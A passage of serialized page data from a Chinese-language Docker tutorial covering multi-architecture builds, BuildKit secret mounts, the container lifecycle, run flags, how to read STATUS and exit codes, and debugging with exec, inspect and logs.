ghcr.io\u002Fexample\u002Fshop-api:1.8.3\n",[22,48843,48844,48867,48879,48900,48923],{"__ignoreMap":314},[331,48845,48846,48848,48851,48853,48855,48858,48861,48864],{"class":333,"line":334},[331,48847,36862],{"class":501},[331,48849,48850],{"class":365}," buildx",[331,48852,3919],{"class":365},[331,48854,36870],{"class":344},[331,48856,48857],{"class":365}," multi",[331,48859,48860],{"class":344}," --driver",[331,48862,48863],{"class":365}," docker-container",[331,48865,48866],{"class":344}," --use\n",[331,48868,48869,48871,48873,48876],{"class":333,"line":341},[331,48870,36862],{"class":501},[331,48872,48850],{"class":365},[331,48874,48875],{"class":365}," inspect",[331,48877,48878],{"class":344}," --bootstrap\n",[331,48880,48881,48883,48885,48888,48891,48894,48897],{"class":333,"line":357},[331,48882,36862],{"class":501},[331,48884,5020],{"class":365},[331,48886,48887],{"class":344}," --privileged",[331,48889,48890],{"class":344}," --rm",[331,48892,48893],{"class":365}," tonistiigi\u002Fbinfmt",[331,48895,48896],{"class":344}," --install",[331,48898,48899],{"class":365}," all\n",[331,48901,48902,48904,48906,48908,48911,48914,48916,48918,48921],{"class":333,"line":371},[331,48903,36862],{"class":501},[331,48905,48850],{"class":365},[331,48907,35439],{"class":365},[331,48909,48910],{"class":344}," --platform",[331,48912,48913],{"class":365}," linux\u002Famd64,linux\u002Farm64",[331,48915,48230],{"class":344},[331,48917,48233],{"class":365},[331,48919,48920],{"class":344}," --push",[331,48922,48236],{"class":365},[331,48924,48925,48927,48930,48932],{"class":333,"line":384},[331,48926,36862],{"class":501},[331,48928,48929],{"class":365}," manifest",[331,48931,48875],{"class":365},[331,48933,48934],{"class":365}," ghcr.io\u002Fexample\u002Fshop-api:1.8.3\n",[11,48936,48937,48938,4839,48941,48944,48945,18878,48948,48950,48951,5652,48953,4813,48956,48961,48962,48965,48966,161],{},"跨架构构建靠 ",[17,48939,48940],{},"QEMU 用户态模拟",[22,48942,48943],{},"binfmt"," 注册解释器），慢且某些编译会段错误，稳妥做法是用原生 runner（CI 上的 ARM 机器或云端构建）。一次产出多架构的结果是",[17,48946,48947],{},"一个 manifest list（镜像索引）",[22,48949,48368],{}," 只能载入单个平台，多架构必须 ",[22,48952,48365],{},[22,48954,48955],{},"--output type=oci,dest=out.tar",[17,48957,48958,48960],{},[22,48959,46058],{}," 的根因就在这里","：拿 amd64 镜像去 ARM 上跑；查平台用 ",[22,48963,48964],{},"docker image inspect --format '{{.Os}}\u002F{{.Architecture}}'","，验证可以用 ",[22,48967,48968],{},"docker pull --platform linux\u002Farm64 busybox",[53,48970,48972],{"id":48971},"构建参数与-secrets-mount","构建参数与 secrets mount",[11,48974,48975,48976,16105,48978,48981],{},"需要凭据才能构建（私有 npm registry、GitHub Packages）时，",[17,48977,12045],{},[22,48979,48980],{},"--build-arg TOKEN=xxx","，它会留在层历史里；用 BuildKit 的 secret mount：",[308,48983,48985],{"className":3902,"code":48984,"language":3904,"meta":314,"style":314},"printf '%s' \"${NPM_TOKEN}\" | docker buildx build --secret id=npm_token,src=- -t shop-api:1.8.3 .\n",[22,48986,48987],{"__ignoreMap":314},[331,48988,48989,48992,48995,48998,49001,49004,49006,49009,49011,49013,49016,49019,49021,49023],{"class":333,"line":334},[331,48990,48991],{"class":344},"printf",[331,48993,48994],{"class":365}," '%s'",[331,48996,48997],{"class":365}," \"${",[331,48999,49000],{"class":337},"NPM_TOKEN",[331,49002,49003],{"class":365},"}\"",[331,49005,15984],{"class":616},[331,49007,49008],{"class":501}," docker",[331,49010,48850],{"class":365},[331,49012,35439],{"class":365},[331,49014,49015],{"class":344}," --secret",[331,49017,49018],{"class":365}," id=npm_token,src=-",[331,49020,48230],{"class":344},[331,49022,48258],{"class":365},[331,49024,48236],{"class":365},[308,49026,49028],{"className":15575,"code":49027,"language":15577,"meta":314,"style":314},"RUN --mount=type=secret,id=npm_token,target=\u002Frun\u002Fsecrets\u002Fnpm_token \\\n    NPM_TOKEN=$(cat \u002Frun\u002Fsecrets\u002Fnpm_token) npm ci --omit=dev\n",[22,49029,49030,49035],{"__ignoreMap":314},[331,49031,49032],{"class":333,"line":334},[331,49033,49034],{},"RUN --mount=type=secret,id=npm_token,target=\u002Frun\u002Fsecrets\u002Fnpm_token \\\n",[331,49036,49037],{"class":333,"line":341},[331,49038,49039],{},"    NPM_TOKEN=$(cat \u002Frun\u002Fsecrets\u002Fnpm_token) npm ci --omit=dev\n",[11,49041,49042,49044,49045,49048,49049,38902,49051,49053,49054,49057],{},[22,49043,47849],{}," 的文件只在",[17,49046,49047],{},"这条指令执行期间","存在，不进任何层、不出现在 ",[22,49050,47134],{},[22,49052,48384],{}," 的日志会被 CI 存档，别把 secret ",[22,49055,49056],{},"echo"," 出来。",[11,49059,49060,49061,49063],{},"构建侧的收获总结成三句：Dockerfile 的顺序决定速度，",[22,49062,47418],{}," 决定速度与安全性，多阶段决定体积与攻击面。下面进入运行侧。",[48,49065,49067],{"id":49066},"六容器生命周期与-run-参数一张表把命令行讲清","六、容器生命周期与 run 参数：一张表把命令行讲清",[11,49069,49070,49071,49073,49074,49076],{},"镜像是死的，容器是活的。这一章把 ",[22,49072,46150],{}," 的几十个参数按用途分组，再解决「",[22,49075,46452],{}," 里那些状态字符串到底在说什么」。",[53,49078,49080],{"id":49079},"状态机created-running-paused-exited-removed","状态机：created → running → (paused) → exited → removed",[308,49082,49084],{"className":3902,"code":49083,"language":3904,"meta":314,"style":314},"docker create --name shop-web nginx:1.27-alpine    # 只建不跑：created\ndocker start shop-web                              # running\ndocker pause shop-web; docker unpause shop-web     # 冻结 \u002F 解冻（cgroup freezer）\ndocker stop -t 10 shop-web                         # 先 SIGTERM，超时后 SIGKILL → exited\ndocker kill -s SIGTERM shop-web                    # 直接发信号，默认 SIGKILL\ndocker rm shop-web                                 # 删除容器（连同可写层）\ndocker container prune                             # 清掉所有已停止容器\n",[22,49085,49086,49103,49114,49135,49151,49168,49179],{"__ignoreMap":314},[331,49087,49088,49090,49092,49094,49097,49100],{"class":333,"line":334},[331,49089,36862],{"class":501},[331,49091,3919],{"class":365},[331,49093,36870],{"class":344},[331,49095,49096],{"class":365}," shop-web",[331,49098,49099],{"class":365}," nginx:1.27-alpine",[331,49101,49102],{"class":1003},"    # 只建不跑：created\n",[331,49104,49105,49107,49109,49111],{"class":333,"line":341},[331,49106,36862],{"class":501},[331,49108,14853],{"class":365},[331,49110,49096],{"class":365},[331,49112,49113],{"class":1003},"                              # running\n",[331,49115,49116,49118,49121,49123,49125,49127,49130,49132],{"class":333,"line":357},[331,49117,36862],{"class":501},[331,49119,49120],{"class":365}," pause",[331,49122,49096],{"class":365},[331,49124,620],{"class":337},[331,49126,36862],{"class":501},[331,49128,49129],{"class":365}," unpause",[331,49131,49096],{"class":365},[331,49133,49134],{"class":1003},"     # 冻结 \u002F 解冻（cgroup freezer）\n",[331,49136,49137,49139,49141,49143,49146,49148],{"class":333,"line":371},[331,49138,36862],{"class":501},[331,49140,21961],{"class":365},[331,49142,48230],{"class":344},[331,49144,49145],{"class":344}," 10",[331,49147,49096],{"class":365},[331,49149,49150],{"class":1003},"                         # 先 SIGTERM，超时后 SIGKILL → exited\n",[331,49152,49153,49155,49158,49160,49163,49165],{"class":333,"line":384},[331,49154,36862],{"class":501},[331,49156,49157],{"class":365}," kill",[331,49159,15978],{"class":344},[331,49161,49162],{"class":365}," SIGTERM",[331,49164,49096],{"class":365},[331,49166,49167],{"class":1003},"                    # 直接发信号，默认 SIGKILL\n",[331,49169,49170,49172,49174,49176],{"class":333,"line":397},[331,49171,36862],{"class":501},[331,49173,46759],{"class":365},[331,49175,49096],{"class":365},[331,49177,49178],{"class":1003},"                                 # 删除容器（连同可写层）\n",[331,49180,49181,49183,49186,49189],{"class":333,"line":418},[331,49182,36862],{"class":501},[331,49184,49185],{"class":365}," container",[331,49187,49188],{"class":365}," prune",[331,49190,49191],{"class":1003},"                             # 清掉所有已停止容器\n",[11,49193,15479],{},[1773,49195,49196,49214,49234],{},[1662,49197,49198,161,49207,49209,49210,49213],{},[17,49199,49200,49202,49203,49206],{},[22,49201,21979],{}," 是请求，",[22,49204,49205],{},"kill"," 是强制",[22,49208,21979],{}," 发 SIGTERM 并等 ",[22,49211,49212],{},"-t"," 秒（默认 10），到点没退就 SIGKILL。这段等待期是应用收尾（放连接、刷缓冲、提交 offset）的唯一窗口——第十六章整章讲这条链路为什么经常失效。",[1662,49215,49216,49222,49223,49226,49227,49229,49230,49233],{},[17,49217,49218,49221],{},[22,49219,49220],{},"pause"," 不是「暂停服务」","。它冻结进程，TCP 连接会一直挂着直到超时；而且暂停中的容器不能 ",[22,49224,49225],{},"exec"," 也不能 ",[22,49228,21979],{},"（要先 ",[22,49231,49232],{},"unpause","）。生产里几乎不用。",[1662,49235,49236,49242,49243,49245,49246,49249,49250,49252],{},[17,49237,49238,49241],{},[22,49239,49240],{},"--rm"," 让容器一次性","：主进程退出即自动 ",[22,49244,37027],{},"，可写层与匿名卷一起销毁。好处是不留垃圾，坏处是",[17,49247,49248],{},"排障现场消失了","——调试阶段永远别加 ",[22,49251,49240],{},"，有数据的容器永远不要加。",[53,49254,49256],{"id":49255},"run-参数分组速查","run 参数分组速查",[57,49258,49259,49271],{},[60,49260,49261],{},[63,49262,49263,49266,49268],{},[66,49264,49265],{},"组",[66,49267,37711],{},[66,49269,49270],{},"说明与坑",[79,49272,49273,49286,49314,49325,49348,49364,49385,49400,49420,49437,49458,49475,49493,49520,49536,49549,49574,49592,49604,49616,49632,49644],{},[63,49274,49275,49278,49283],{},[84,49276,49277],{},"运行控制",[84,49279,49280],{},[22,49281,49282],{},"-d",[84,49284,49285],{},"后台运行并打印容器 ID",[63,49287,49288,49290,49295],{},[84,49289],{},[84,49291,49292],{},[22,49293,49294],{},"-it",[84,49296,49297,49300,49301,49303,49304,49307,49308,49310,49311],{},[22,49298,49299],{},"-i"," 保持 stdin、",[22,49302,49212],{}," 分配伪终端，",[17,49305,49306],{},"通常两个一起用","；cron\u002FCI 里不要加 ",[22,49309,49294],{},"，否则 ",[22,49312,49313],{},"the input device is not a TTY",[63,49315,49316,49318,49322],{},[84,49317],{},[84,49319,49320],{},[22,49321,49240],{},[84,49323,49324],{},"退出即删，别用于有数据的容器",[63,49326,49327,49330,49338],{},[84,49328,49329],{},"标识",[84,49331,49332,1901,49335],{},[22,49333,49334],{},"--name",[22,49336,49337],{},"--hostname",[84,49339,49340,49341,49344,49345,49347],{},"前者是容器名（也是网络里的 DNS 名），重名报 ",[22,49342,49343],{},"Conflict. The container name ... is already in use","；后者只改容器内 ",[22,49346,45950],{}," 的值，两者是两回事",[63,49349,49350,49352,49357],{},[84,49351],{},[84,49353,49354],{},[22,49355,49356],{},"--label env=prod",[84,49358,49359,49360,49363],{},"打标签，配合 ",[22,49361,49362],{},"--filter label=env=prod"," 批量管理",[63,49365,49366,49369,49374],{},[84,49367,49368],{},"端口",[84,49370,49371],{},[22,49372,49373],{},"-p 8080:80",[84,49375,49376,49377,49380,49381,49384],{},"宿主 ",[22,49378,49379],{},"0.0.0.0:8080"," → 容器 80；写 ",[22,49382,49383],{},"-p 8080:80\u002Fudp"," 才是 UDP，不写默认 tcp",[63,49386,49387,49389,49394],{},[84,49388],{},[84,49390,49391],{},[22,49392,49393],{},"-p 127.0.0.1:8080:80",[84,49395,49396,49397],{},"只绑回环，",[17,49398,49399],{},"数据库与管理面板的默认写法",[63,49401,49402,49404,49411],{},[84,49403],{},[84,49405,49406,1901,49409],{},[22,49407,49408],{},"-p 8080",[22,49410,48004],{},[84,49412,49413,49414,49416,49417,49419],{},"前者宿主端口随机、后者把所有 ",[22,49415,46933],{}," 过的端口都随机发布（",[22,49418,46448],{}," 看结果）",[63,49421,49422,49425,49430],{},[84,49423,49424],{},"环境",[84,49426,49427],{},[22,49428,49429],{},"-e KEY=VAL",[84,49431,49432,49433,49436],{},"可重复；",[22,49434,49435],{},"-e KEY"," 表示从当前 shell 透传",[63,49438,49439,49441,49446],{},[84,49440],{},[84,49442,49443],{},[22,49444,49445],{},"--env-file .env.production",[84,49447,49448,49449,18878,49452,49454,49455,49457],{},"每行 ",[22,49450,49451],{},"K=V",[22,49453,20333],{}," 开头是注释；别把 ",[22,49456,11149],{}," 提交",[63,49459,49460,49463,49468],{},[84,49461,49462],{},"挂载",[84,49464,49465],{},[22,49466,49467],{},"-v name:\u002Fpath",[84,49469,49470,49471,49474],{},"命名卷（省略 name 则是匿名卷）；",[22,49472,49473],{},"-v .\u002Fconf:\u002Fetc\u002Fapp:ro"," 是 bind mount + 只读，相对路径基于当前目录",[63,49476,49477,49479,49484],{},[84,49478],{},[84,49480,49481],{},[22,49482,49483],{},"--mount type=volume,source=db,target=\u002Fvar\u002Flib\u002Fmysql",[84,49485,49486,49487,272,49489,49492],{},"等价但可写 ",[22,49488,26123],{},[22,49490,49491],{},"volume-opt","，拼错会直接报错（第九章对照表）",[63,49494,49495,49498,49506],{},[84,49496,49497],{},"网络",[84,49499,49500,1901,49503],{},[22,49501,49502],{},"--network shop-net",[22,49504,49505],{},"--network host",[84,49507,49508,49509,49512,49513,272,49516,49519],{},"自定义网络（有 DNS，第八章）；",[22,49510,49511],{},"host"," 共享宿主栈（Mac\u002FWindows 上不生效，且让 ",[22,49514,49515],{},"--dns",[22,49517,49518],{},"--network-alias"," 失效）",[63,49521,49522,49524,49529],{},[84,49523],{},[84,49525,49526],{},[22,49527,49528],{},"--add-host db:10.0.0.5",[84,49530,49531,49532,49535],{},"往 ",[22,49533,49534],{},"\u002Fetc\u002Fhosts"," 追加一条",[63,49537,49538,49541,49546],{},[84,49539,49540],{},"重启",[84,49542,49543],{},[22,49544,49545],{},"--restart unless-stopped",[84,49547,49548],{},"四种策略见第十六章",[63,49550,49551,49554,49562],{},[84,49552,49553],{},"资源",[84,49555,49556,1901,49559],{},[22,49557,49558],{},"--memory 512m",[22,49560,49561],{},"-m",[84,49563,49564,49565,17306,49567,18283,49570,49573],{},"内存上限，超了就 ",[22,49566,45994],{},[22,49568,49569],{},"--memory-swap 768m",[17,49571,49572],{},"总内存 + swap","，语义特殊，第十四章专门讲",[63,49575,49576,49578,49589],{},[84,49577],{},[84,49579,49580,1901,49583,1901,49586],{},[22,49581,49582],{},"--cpus 1.5",[22,49584,49585],{},"--cpuset-cpus 0,1",[22,49587,49588],{},"--pids-limit 256",[84,49590,49591],{},"CPU 配额 \u002F 绑核 \u002F 防 fork 炸弹",[63,49593,49594,49596,49601],{},[84,49595,17331],{},[84,49597,49598],{},[22,49599,49600],{},"--user 1001:1001",[84,49602,49603],{},"以该身份运行（对齐 bind mount 属主时用）",[63,49605,49606,49608,49613],{},[84,49607],{},[84,49609,49610],{},[22,49611,49612],{},"--read-only --tmpfs \u002Ftmp",[84,49614,49615],{},"根文件系统只读 + 临时可写目录",[63,49617,49618,49620,49625],{},[84,49619],{},[84,49621,49622],{},[22,49623,49624],{},"--cap-drop ALL --cap-add NET_BIND_SERVICE",[84,49626,49627,49628,49631],{},"能力裁剪；",[22,49629,49630],{},"--security-opt no-new-privileges"," 禁止提权（第十五章）",[63,49633,49634,49636,49641],{},[84,49635],{},[84,49637,49638],{},[22,49639,49640],{},"--init",[84,49642,49643],{},"用 tini 当 PID 1，转发信号、回收僵尸进程",[63,49645,49646,49648,49653],{},[84,49647],{},[84,49649,49650],{},[22,49651,49652],{},"--entrypoint sh",[84,49654,49655],{},"覆盖 ENTRYPOINT 来调试（第七章）",[53,49657,49659],{"id":49658},"docker-ps-a-的-status-怎么读","docker ps -a 的 STATUS 怎么读",[57,49661,49662,49675],{},[60,49663,49664],{},[63,49665,49666,49669,49672],{},[66,49667,49668],{},"STATUS 片段",[66,49670,49671],{},"含义",[66,49673,49674],{},"下一步查什么",[79,49676,49677,49689,49704,49720,49736,49754,49767,49785,49801,49821,49848,49862,49881],{},[63,49678,49679,49684,49687],{},[84,49680,49681],{},[22,49682,49683],{},"Up 3 hours",[84,49685,49686],{},"正常运行 3 小时",[84,49688,5122],{},[63,49690,49691,49696,49699],{},[84,49692,49693],{},[22,49694,49695],{},"Up 3 hours (healthy)",[84,49697,49698],{},"健康检查通过",[84,49700,49701,49702],{},"第十六章 ",[22,49703,48032],{},[63,49705,49706,49711,49717],{},[84,49707,49708],{},[22,49709,49710],{},"Up 3 hours (health: starting)",[84,49712,49713,49714,27060],{},"还在 ",[22,49715,49716],{},"--start-period",[84,49718,49719],{},"连续通过 retries 次才转 healthy",[63,49721,49722,49727,49730],{},[84,49723,49724],{},[22,49725,49726],{},"Up 3 hours (unhealthy)",[84,49728,49729],{},"检查连续失败",[84,49731,49732,49735],{},[17,49733,49734],{},"容器还在跑","但服务不可用；Docker 不会自动重启它",[63,49737,49738,49743,49746],{},[84,49739,49740],{},[22,49741,49742],{},"Restarting (1) 5 seconds ago",[84,49744,49745],{},"崩溃后被重启策略反复拉起",[84,49747,49748,17306,49751,49753],{},[22,49749,49750],{},"docker logs --tail 50",[22,49752,7993],{}," 是退出码",[63,49755,49756,49761,49764],{},[84,49757,49758],{},[22,49759,49760],{},"Exited (0) 2 hours ago",[84,49762,49763],{},"正常退出",[84,49765,49766],{},"服务型容器退 0 多半是「前台命令跑完了」，检查 CMD",[63,49768,49769,49774,49777],{},[84,49770,49771],{},[22,49772,49773],{},"Exited (1) 5 minutes ago",[84,49775,49776],{},"应用自身报错",[84,49778,49779,4843,49782,49784],{},[22,49780,49781],{},"logs",[22,49783,49652],{},"（第七章三步法）",[63,49786,49787,49792,49795],{},[84,49788,49789],{},[22,49790,49791],{},"Exited (126)",[84,49793,49794],{},"命令不可执行（权限\u002F不是可执行文件）",[84,49796,49797,49798],{},"检查 ENTRYPOINT 指向的文件与 ",[22,49799,49800],{},"+x",[63,49802,49803,49808,49811],{},[84,49804,49805],{},[22,49806,49807],{},"Exited (127)",[84,49809,49810],{},"命令找不到（路径错\u002F缺动态库）",[84,49812,49813,49815,49816,272,49818],{},[22,49814,49652],{}," 进去 ",[22,49817,16007],{},[22,49819,49820],{},"ldd",[63,49822,49823,49828,49838],{},[84,49824,49825,49827],{},[22,49826,45994],{}," = 128+9",[84,49829,49830,49831],{},"被 SIGKILL：",[17,49832,49833,49834,49837],{},"OOM、",[22,49835,49836],{},"docker kill","、或 stop 超时",[84,49839,49840,49843,49844,49847],{},[22,49841,49842],{},"inspect"," 看 ",[22,49845,49846],{},"OOMKilled","（第十四章）",[63,49849,49850,49856,49859],{},[84,49851,49852,49855],{},[22,49853,49854],{},"Exited (143)"," = 128+15",[84,49857,49858],{},"被 SIGTERM 终止（没自己处理）",[84,49860,49861],{},"优雅停机没做好（第十六章）",[63,49863,49864,49869,49875],{},[84,49865,49866],{},[22,49867,49868],{},"Created",[84,49870,49871,49872,49874],{},"只 ",[22,49873,14617],{}," 过，从未成功启动",[84,49876,49877,49880],{},[22,49878,49879],{},"docker start"," 看它报什么",[63,49882,49883,49888,49891],{},[84,49884,49885],{},[22,49886,49887],{},"Dead",[84,49889,49890],{},"清理时出错，异常状态",[84,49892,49893,49896],{},[22,49894,49895],{},"docker rm -f","，并查内核日志",[11,49898,49899,49900,161,49903,49906,49907,49910,49911,49913],{},"退出码只需记一条：",[17,49901,49902],{},"128 以上是「被信号 X 杀死」，X = 码 − 128",[22,49904,49905],{},"137−128=9","（KILL）、",[22,49908,49909],{},"143−128=15","（TERM）。看到 ",[22,49912,45994],{}," 先怀疑资源限制，别急着改业务代码。",[53,49915,49916],{"id":49916},"观察一个正在跑的容器",[308,49918,49920],{"className":3902,"code":49919,"language":3904,"meta":314,"style":314},"docker logs -f --tail 100 --since 30m shop-api     # -f 跟随，-t\u002F--timestamps 加时间戳\ndocker stats --no-stream                            # 一次快照：CPU%、MEM USAGE\u002FLIMIT、NET、BLK IO、PIDS\ndocker top shop-api                                 # 宿主视角看容器进程（真实 PID 与 USER）\ndocker diff shop-web                                # 可写层里增(A)\u002F改(C)\u002F删(D) 的文件\ndocker events --since 30m --filter event=die        # 生命周期事件\n",[22,49921,49922,49949,49962,49974,49986],{"__ignoreMap":314},[331,49923,49924,49926,49929,49931,49934,49937,49940,49943,49946],{"class":333,"line":334},[331,49925,36862],{"class":501},[331,49927,49928],{"class":365}," logs",[331,49930,43839],{"class":344},[331,49932,49933],{"class":344}," --tail",[331,49935,49936],{"class":344}," 100",[331,49938,49939],{"class":344}," --since",[331,49941,49942],{"class":365}," 30m",[331,49944,49945],{"class":365}," shop-api",[331,49947,49948],{"class":1003},"     # -f 跟随，-t\u002F--timestamps 加时间戳\n",[331,49950,49951,49953,49956,49959],{"class":333,"line":341},[331,49952,36862],{"class":501},[331,49954,49955],{"class":365}," stats",[331,49957,49958],{"class":344}," --no-stream",[331,49960,49961],{"class":1003},"                            # 一次快照：CPU%、MEM USAGE\u002FLIMIT、NET、BLK IO、PIDS\n",[331,49963,49964,49966,49969,49971],{"class":333,"line":357},[331,49965,36862],{"class":501},[331,49967,49968],{"class":365}," top",[331,49970,49945],{"class":365},[331,49972,49973],{"class":1003},"                                 # 宿主视角看容器进程（真实 PID 与 USER）\n",[331,49975,49976,49978,49981,49983],{"class":333,"line":371},[331,49977,36862],{"class":501},[331,49979,49980],{"class":365}," diff",[331,49982,49096],{"class":365},[331,49984,49985],{"class":1003},"                                # 可写层里增(A)\u002F改(C)\u002F删(D) 的文件\n",[331,49987,49988,49990,49993,49995,49997,50000,50003],{"class":333,"line":384},[331,49989,36862],{"class":501},[331,49991,49992],{"class":365}," events",[331,49994,49939],{"class":344},[331,49996,49942],{"class":365},[331,49998,49999],{"class":344}," --filter",[331,50001,50002],{"class":365}," event=die",[331,50004,50005],{"class":1003},"        # 生命周期事件\n",[11,50007,50008],{},"各自的用处：",[1773,50010,50011,50024,50041,50050],{},[1662,50012,50013,50015,50016,50019,50020,50023],{},[22,50014,49781],{}," 读的是容器的 ",[17,50017,50018],{},"stdout\u002Fstderr","，不是容器里的文件。应用若把日志写进容器内文件，",[22,50021,50022],{},"docker logs"," 永远空白——这就是 12-factor 要求「日志打到标准输出」的原因（第十三章）。",[1662,50025,50026,1677,50029,50032,50033,50036,50037,50040],{},[22,50027,50028],{},"stats",[22,50030,50031],{},"MEM USAGE \u002F LIMIT","，LIMIT 是 ",[17,50034,50035],{},"cgroup 上限","而不是宿主内存，百分比按上限算——判断「是不是被限制死了」的最快入口。",[22,50038,50039],{},"--no-stream"," 只采一次，适合脚本。",[1662,50042,50043,50046,50047,50049],{},[22,50044,50045],{},"top"," 解决「容器里跑着 java 但镜像没装 ",[22,50048,45921],{},"」的尴尬（第七章）。",[1662,50051,50052,50055,50056,50058,50059,50062],{},[22,50053,50054],{},"diff"," 是个便宜的侦探：让容器跑一轮业务再看 ",[22,50057,50054],{},"，就知道该挂哪个卷、",[22,50060,50061],{},"--read-only"," 会挡住哪些路径。",[11,50064,50065,50066,50068,50069,50072,50073,161],{},"示例 06 把这套观察串成一次真实的排查流：从 ",[22,50067,46452],{}," 里那行 ",[22,50070,50071],{},"Restarting (1)"," 开始，逐步定位到 ",[22,50074,45994],{},[4748,50076],{"height":50077,"src":50078,"title":50079},580,"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F06-lifecycle-status.html","示例 06：生命周期与 STATUS——把状态字符串读成结论",[11,50081,50082],{},"生命周期搞清楚了，下一章学「进去看」——以及当镜像里什么都没有时怎么调试。",[48,50084,50086],{"id":50085},"七进入容器与调试execinspect-与镜像里什么都没有","七、进入容器与调试：exec、inspect 与「镜像里什么都没有」",[11,50088,50089,50090,50093],{},"调试容器的心法只有一句：",[17,50091,50092],{},"容器就是一个进程，进不去就用外部的眼睛看","。这一章把两种眼睛都给你。",[53,50095,50097,50098,50101],{"id":50096},"docker-exec-与-的坑","docker exec 与 ",[22,50099,50100],{},"--"," 的坑",[308,50103,50105],{"className":3902,"code":50104,"language":3904,"meta":314,"style":314},"docker exec -it shop-api sh          # 最常用：alpine\u002Fbusybox 只有 sh；Debian 系镜像才有 bash\ndocker exec -u root -it shop-api sh  # 镜像里 USER 非 root 时临时提权\ndocker exec shop-api cat \u002Fetc\u002Fos-release        # 非交互，适合脚本\ndocker exec shop-api ls -- -p                   # 文件名以 - 开头时必须用 -- 分隔\n",[22,50106,50107,50125,50145,50162],{"__ignoreMap":314},[331,50108,50109,50111,50114,50117,50119,50122],{"class":333,"line":334},[331,50110,36862],{"class":501},[331,50112,50113],{"class":365}," exec",[331,50115,50116],{"class":344}," -it",[331,50118,49945],{"class":365},[331,50120,50121],{"class":365}," sh",[331,50123,50124],{"class":1003},"          # 最常用：alpine\u002Fbusybox 只有 sh；Debian 系镜像才有 bash\n",[331,50126,50127,50129,50131,50133,50136,50138,50140,50142],{"class":333,"line":341},[331,50128,36862],{"class":501},[331,50130,50113],{"class":365},[331,50132,37094],{"class":344},[331,50134,50135],{"class":365}," root",[331,50137,50116],{"class":344},[331,50139,49945],{"class":365},[331,50141,50121],{"class":365},[331,50143,50144],{"class":1003},"  # 镜像里 USER 非 root 时临时提权\n",[331,50146,50147,50149,50151,50153,50156,50159],{"class":333,"line":357},[331,50148,36862],{"class":501},[331,50150,50113],{"class":365},[331,50152,49945],{"class":365},[331,50154,50155],{"class":365}," cat",[331,50157,50158],{"class":365}," \u002Fetc\u002Fos-release",[331,50160,50161],{"class":1003},"        # 非交互，适合脚本\n",[331,50163,50164,50166,50168,50170,50173,50175,50177],{"class":333,"line":371},[331,50165,36862],{"class":501},[331,50167,50113],{"class":365},[331,50169,49945],{"class":365},[331,50171,50172],{"class":365}," ls",[331,50174,34864],{"class":344},[331,50176,36941],{"class":344},[331,50178,50179],{"class":1003},"                   # 文件名以 - 开头时必须用 -- 分隔\n",[11,50181,50182,50183,50185,50186,655,50189,50192,50193,50196],{},"为什么很多镜像没有 ",[22,50184,3904],{},"？因为基础镜像是 alpine\u002Fbusybox（体积小、攻击面小），甚至 ",[22,50187,50188],{},"distroless",[22,50190,50191],{},"scratch"," 连 ",[22,50194,50195],{},"sh"," 都没有。这不是作者恶意，而是第十五章的取舍结果。遇到没 shell 的镜像，看本章后半部分。",[11,50198,50199,50201,50202,161,50205,5760,50208,50210,50211,50214,50215,50217,50218,4839,50220,272,50222,50225],{},[22,50200,50100],{}," 的规则只有一条：",[17,50203,50204],{},"「选项解析到此为止」",[22,50206,50207],{},"docker exec -it c -- node -v",[22,50209,50100],{}," 之后全部交给容器；",[22,50212,50213],{},"docker run --rm img -- --version"," 里 docker 会把第二个 ",[22,50216,50100],{}," 之后的内容当成「镜像自己的参数」，行为和你预期不同。当你要传的参数本身带 ",[22,50219,6659],{},[22,50221,36989],{},[22,50223,50224],{},"--version","），不加分隔符时 docker 会先把它当成自己的选项，报出的错误通常很难看。",[53,50227,50229],{"id":50228},"inspect用-format-只要你要的字段","inspect：用 --format 只要你要的字段",[11,50231,50232,50235,50236,50239],{},[22,50233,50234],{},"docker inspect"," 一次吐几 KB JSON，硬读会累死，",[22,50237,50238],{},"--format"," 才是正解：",[308,50241,50243],{"className":3902,"code":50242,"language":3904,"meta":314,"style":314},"docker inspect shop-api --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'\ndocker inspect shop-api --format '{{json .Config.Env}}'      # 同样套路：{{json .Mounts}}、.State.*\ndocker inspect --format '{{.Name}} {{.State.Status}} exit={{.State.ExitCode}} oom={{.State.OOMKilled}} health={{.State.Health.Status}}' shop-api shop-db\ndocker ps --format '{{.Names}}|{{.Image}}|{{.Status}}|{{.Ports}}'   # ps 同样支持，脚本神器\n",[22,50244,50245,50259,50275,50291],{"__ignoreMap":314},[331,50246,50247,50249,50251,50253,50256],{"class":333,"line":334},[331,50248,36862],{"class":501},[331,50250,48875],{"class":365},[331,50252,49945],{"class":365},[331,50254,50255],{"class":344}," --format",[331,50257,50258],{"class":365}," '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'\n",[331,50260,50261,50263,50265,50267,50269,50272],{"class":333,"line":341},[331,50262,36862],{"class":501},[331,50264,48875],{"class":365},[331,50266,49945],{"class":365},[331,50268,50255],{"class":344},[331,50270,50271],{"class":365}," '{{json .Config.Env}}'",[331,50273,50274],{"class":1003},"      # 同样套路：{{json .Mounts}}、.State.*\n",[331,50276,50277,50279,50281,50283,50286,50288],{"class":333,"line":357},[331,50278,36862],{"class":501},[331,50280,48875],{"class":365},[331,50282,50255],{"class":344},[331,50284,50285],{"class":365}," '{{.Name}} {{.State.Status}} exit={{.State.ExitCode}} oom={{.State.OOMKilled}} health={{.State.Health.Status}}'",[331,50287,49945],{"class":365},[331,50289,50290],{"class":365}," shop-db\n",[331,50292,50293,50295,50298,50300,50303],{"class":333,"line":371},[331,50294,36862],{"class":501},[331,50296,50297],{"class":365}," ps",[331,50299,50255],{"class":344},[331,50301,50302],{"class":365}," '{{.Names}}|{{.Image}}|{{.Status}}|{{.Ports}}'",[331,50304,50305],{"class":1003},"   # ps 同样支持，脚本神器\n",[11,50307,50308,50310,50311,50314,50315,50318,50319,50322,50323,50326,50327,50330,50331,50334,50335,50338,50339,50341],{},[22,50309,50238],{}," 是 Go 模板：",[22,50312,50313],{},"{{.X}}"," 取值、",[22,50316,50317],{},"{{json .X}}"," 打印结构、",[22,50320,50321],{},"{{range}}"," 遍历、",[22,50324,50325],{},"{{if}}"," 条件。报 ",[22,50328,50329],{},"nil can't be fields"," 一般是路径写错（比如 ",[22,50332,50333],{},"NetworkSettings.Networks"," 是 map，得 ",[22,50336,50337],{},"range"," 进去），先原样 ",[22,50340,49842],{}," 一次看清结构再改模板。",[53,50343,50345],{"id":50344},"docker-cp双向搬文件","docker cp：双向搬文件",[11,50347,50348,50351,50352,50355],{},[22,50349,50350],{},"docker cp 